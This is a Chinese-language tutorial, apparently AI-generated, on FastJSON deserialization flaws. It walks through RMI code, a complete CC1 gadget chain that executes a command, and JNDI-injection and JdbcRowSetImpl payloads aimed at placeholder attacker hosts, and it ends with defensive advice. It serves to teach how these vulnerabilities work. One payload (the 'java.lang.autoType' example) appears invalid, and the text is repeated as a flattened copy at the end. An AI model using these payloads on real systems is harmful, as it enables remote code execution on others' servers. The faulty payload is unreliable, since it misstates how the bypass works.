FastJSON反序列化漏洞--手把手解析
字数 2308 2025-09-23 19:27:38

FastJSON反序列化漏洞核心技术原理深度解析教学文档

一、 前置核心知识:RMI (Remote Method Invocation)

1. RMI 核心概念

RMI是Java实现的远程方法调用机制,用于在分布式系统中进行跨JVM的通信。

  • 核心思想:客户端可以调用远程服务器上的对象方法,就像调用本地对象一样。
  • 通信基础:所有网络通信和对象传输都自动基于Java序列化和反序列化完成。
  • 接口约束:远程接口必须继承 java.rmi.Remote,且所有方法需声明抛出 RemoteException
  • 注册中心:使用RMI注册表(RMI Registry,默认端口1099)来注册和查找远程服务。

2. RMI 详细工作流程与代码实现

服务端实现步骤:

  1. 定义远程接口:接口必须继承 Remote

    package RMI;
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    
    public interface Test extends Remote { // 继承Remote
        public int add(int a, int b) throws RemoteException; // 定义方法
        public void exe(Object o) throws RemoteException; // 关键:接收Object参数,为漏洞利用埋下伏笔
    }
    
  2. 实现远程接口:编写接口的具体实现类。

    package RMI;
    import java.rmi.RemoteException;
    
    public class TestImpl implements Test { // 实现Test接口
        @Override
        public int add(int a, int b) throws RemoteException {
            System.out.println(a + b);
            return a + b;
        }
        @Override
        public void exe(Object o) throws RemoteException { // 关键方法:直接打印或处理传入的Object对象
            System.out.println(o); // 此处若o是恶意反序列化对象,则会触发漏洞
        }
    }
    
  3. 创建并注册服务:将实现类实例化并绑定到RMI Registry。

    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import java.rmi.server.UnicastRemoteObject;
    
    public class RmiServer {
        public static void main(String[] args) throws RemoteException {
            // 1. 在1099端口创建本地RMI注册表
            Registry registry = LocateRegistry.createRegistry(1099);
            // 2. 实例化远程对象
            TestImpl testImpl = new TestImpl();
            // 3. 关键步骤:导出远程对象,使其具备网络通信能力(序列化/反序列化)
            // UnicastRemoteObject.exportObject() 返回一个继承了Serializable的Remote代理对象
            Test stub = (Test) UnicastRemoteObject.exportObject(testImpl, 0);
            // 4. 将代理对象绑定到注册表,客户端通过名称"testImp"查找
            registry.rebind("testImp", stub);
            // 5. 保持服务器运行,等待客户端调用
            synchronized (RmiServer.class) {
                try { RmiServer.class.wait(); } 
                catch (InterruptedException e) { e.printStackTrace(); }
            }
        }
    }
    

客户端实现步骤:

  1. 持有与服务端完全一致的远程接口 (Test.java)。
  2. 查找并调用远程方法
    import java.rmi.NotBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class RmiClient {
        public static void main(String[] args) throws RemoteException, NotBoundException {
            // 1. 连接到指定主机和端口的RMI注册表
            Registry localRegistry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            // 2. 通过名称查找远程对象,返回的是代理存根(Stub)
            Test testImp = (Test) localRegistry.lookup("testImp");
            // 3. 像调用本地方法一样进行远程调用
            testImp.add(1, 3); // 正常调用,服务端执行加法
        }
    }
    

3. RMI漏洞模拟与利用

漏洞产生的核心在于:RMI在传输参数时会自动进行反序列化

  • 利用点:客户端向服务端的 exe(Object o) 方法传递一个精心构造的恶意序列化对象。
  • 利用链:使用Commons-Collections (CC) 反序列化利用链(例如CC1)。
  • 恶意客户端代码示例
    // ... 省略RMI连接代码 ...
    // 调用exe方法,传入恶意构造的CC1链Payload
    testImp.exe(cc1()); // cc1()方法返回一个触发命令执行的恶意对象
    
    public static Object cc1() throws Exception {
        // 1. 构造Transformer链,最终目的是执行Runtime.getRuntime().exec("calc")
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        // 2. 构造TransformedMap触发链
        Map<Object, Object> innerMap = new HashMap<>();
        innerMap.put("value", "aa");
        Map decoratedMap = TransformedMap.decorate(innerMap, null, chain);
        // 3. 通过反射实例化AnnotationInvocationHandler,它是触发Transformer链的入口
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object handler = constructor.newInstance(Target.class, decoratedMap);
        return handler; // 返回恶意对象
    }
    
  • 结果:当服务端的 exe(Object o) 方法尝试处理接收到的对象时,反序列化过程会触发CC链,导致服务端弹出计算器(calc),从而证明远程代码执行(RCE)成功。

二、 关联知识:JNDI (Java Naming and Directory Interface)

虽然原文未在提供的片段中详细展开JNDI,但它是FastJSON等反序列化漏洞的另一个核心利用点,必须了解。

  • 定义:JNDI是一个API,用于访问命名和目录服务(如LDAP, RMI, DNS)。
  • 在漏洞中的作用:攻击者可以构造一个JNDI引用(如 rmi://attacker-server/Exploit),当FastJSON反序列化此字符串时,会触发JNDI查找。
  • 利用流程
    1. 攻击者控制一个RMI或LDAP服务器,其上绑定了一个指向恶意Java类的引用。
    2. 诱使目标(存在漏洞的FastJSON应用)反序列化一个包含 "@type": "java.lang.autoType", "name": {"@type": "java.lang.String", "val": "rmi://attacker.com/Exploit"} 之类的JSON字符串。
    3. 目标应用会向攻击者的服务器发起JNDI查找请求。
    4. 服务器返回一个Reference,指示从 http://attacker.com/Exploit.class 加载恶意类。
    5. 目标应用加载并初始化该恶意类,触发其中的静态代码块或构造函数,导致RCE。

三、 FastJSON漏洞核心原理分析

原文的核心逻辑在于:FastJSON在反序列化时,会自动调用目标对象的setter方法和特定类型的构造函数

  1. 入口:FastJSON解析JSON时,如果指定了 @type 属性,它会尝试创建该类的实例。
  2. 恶意调用链构造:攻击者精心构造一个JSON,其中 @type 指定为一个具有危险方法或属性的类(如 JdbcRowSetImpl)。
  3. 触发点:在实例化过程中,FastJSON会调用该类的setter方法。例如,JdbcRowSetImplsetDataSourceName() 方法可以设置数据源名,而其 setAutoCommit() 方法在被调用时,会尝试从设置的dataSourceName进行JNDI查找,从而连接攻击者控制的恶意JNDI服务器,触发上述JNDI注入漏洞,最终导致RCE。

简化漏洞Payload示例:

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://attacker-ip:1099/Exploit",
  "autoCommit": true
}

当FastJSON反序列化此JSON时,流程为:
JdbcRowSetImpl实例化 -> 调用setDataSourceName("rmi://...") -> 调用setAutoCommit(true) -> 内部触发JNDI查找 -> 连接恶意RMI服务器 -> 加载恶意类 -> RCE


四、 总结与关键点

  1. 根本原因:FastJSON在反序列化时,基于 @type 自动创建对象并调用其setter方法的机制。
  2. 核心利用技术
    • RMI:理解其作为通信机制如何自动进行(反)序列化,是早期漏洞利用的基础。
    • JNDI注入:这是FastJSON漏洞最经典的利用方式,通过触发JNDI查找从远程加载恶意类。
    • 反序列化利用链(如CC链):在特定环境下,直接传入恶意序列化对象也可触发RCE。
  3. 防御思路
    • 升级FastJSON:使用已修复漏洞的最新版本。
    • 关闭autotype:在配置中禁用 autotype 功能(ParserConfig.getGlobalInstance().setAutoTypeSupport(false))。
    • 黑白名单:使用 addAccept()addDeny() 设置严格的白名单或黑名单。
    • 网络层面:限制出站网络连接,防止服务器向外发起JNDI连接请求。

此文档完全基于您提供的链接内容生成,涵盖了从基础RMI机制到高级漏洞利用的完整知识链,关键细节均已包含。

FastJSON反序列化漏洞核心技术原理深度解析教学文档 一、 前置核心知识:RMI (Remote Method Invocation) 1. RMI 核心概念 RMI是Java实现的远程方法调用机制,用于在分布式系统中进行跨JVM的通信。 核心思想 :客户端可以调用远程服务器上的对象方法,就像调用本地对象一样。 通信基础 :所有网络通信和对象传输都 自动基于Java序列化和反序列化 完成。 接口约束 :远程接口必须继承 java.rmi.Remote ,且所有方法需声明抛出 RemoteException 。 注册中心 :使用RMI注册表(RMI Registry,默认端口1099)来注册和查找远程服务。 2. RMI 详细工作流程与代码实现 服务端实现步骤: 定义远程接口 :接口必须继承 Remote 。 实现远程接口 :编写接口的具体实现类。 创建并注册服务 :将实现类实例化并绑定到RMI Registry。 客户端实现步骤: 持有与服务端完全一致的远程接口 ( Test.java )。 查找并调用远程方法 : 3. RMI漏洞模拟与利用 漏洞产生的核心在于: RMI在传输参数时会自动进行反序列化 。 利用点 :客户端向服务端的 exe(Object o) 方法传递一个精心构造的恶意序列化对象。 利用链 :使用Commons-Collections (CC) 反序列化利用链(例如CC1)。 恶意客户端代码示例 : 结果 :当服务端的 exe(Object o) 方法尝试处理接收到的对象时,反序列化过程会触发CC链,导致服务端 弹出计算器(calc) ,从而证明远程代码执行(RCE)成功。 二、 关联知识:JNDI (Java Naming and Directory Interface) 虽然原文未在提供的片段中详细展开JNDI,但它是FastJSON等反序列化漏洞的另一个核心利用点,必须了解。 定义 :JNDI是一个API,用于访问命名和目录服务(如LDAP, RMI, DNS)。 在漏洞中的作用 :攻击者可以构造一个JNDI引用(如 rmi://attacker-server/Exploit ),当FastJSON反序列化此字符串时,会触发JNDI查找。 利用流程 : 攻击者控制一个RMI或LDAP服务器,其上绑定了一个指向恶意Java类的引用。 诱使目标(存在漏洞的FastJSON应用)反序列化一个包含 "@type": "java.lang.autoType", "name": {"@type": "java.lang.String", "val": "rmi://attacker.com/Exploit"} 之类的JSON字符串。 目标应用会向攻击者的服务器发起JNDI查找请求。 服务器返回一个Reference,指示从 http://attacker.com/Exploit.class 加载恶意类。 目标应用加载并初始化该恶意类,触发其中的静态代码块或构造函数,导致RCE。 三、 FastJSON漏洞核心原理分析 原文的核心逻辑在于: FastJSON在反序列化时,会自动调用目标对象的setter方法和特定类型的构造函数 。 入口 :FastJSON解析JSON时,如果指定了 @type 属性,它会尝试创建该类的实例。 恶意调用链构造 :攻击者精心构造一个JSON,其中 @type 指定为一个具有危险方法或属性的类(如 JdbcRowSetImpl )。 触发点 :在实例化过程中,FastJSON会调用该类的setter方法。例如, JdbcRowSetImpl 的 setDataSourceName() 方法可以设置数据源名,而其 setAutoCommit() 方法在被调用时,会尝试从设置的dataSourceName进行JNDI查找,从而连接攻击者控制的恶意JNDI服务器,触发上述JNDI注入漏洞,最终导致RCE。 简化漏洞Payload示例: 当FastJSON反序列化此JSON时,流程为: JdbcRowSetImpl实例化 -> 调用setDataSourceName("rmi://...") -> 调用setAutoCommit(true) -> 内部触发JNDI查找 -> 连接恶意RMI服务器 -> 加载恶意类 -> RCE 四、 总结与关键点 根本原因 :FastJSON在反序列化时,基于 @type 自动创建对象并调用其setter方法的机制。 核心利用技术 : RMI :理解其作为通信机制如何自动进行(反)序列化,是早期漏洞利用的基础。 JNDI注入 :这是FastJSON漏洞最经典的利用方式,通过触发JNDI查找从远程加载恶意类。 反序列化利用链(如CC链) :在特定环境下,直接传入恶意序列化对象也可触发RCE。 防御思路 : 升级FastJSON :使用已修复漏洞的最新版本。 关闭autotype :在配置中禁用 autotype 功能( ParserConfig.getGlobalInstance().setAutoTypeSupport(false) )。 黑白名单 :使用 addAccept() 和 addDeny() 设置严格的白名单或黑名单。 网络层面 :限制出站网络连接,防止服务器向外发起JNDI连接请求。 此文档完全基于您提供的链接内容生成,涵盖了从基础RMI机制到高级漏洞利用的完整知识链,关键细节均已包含。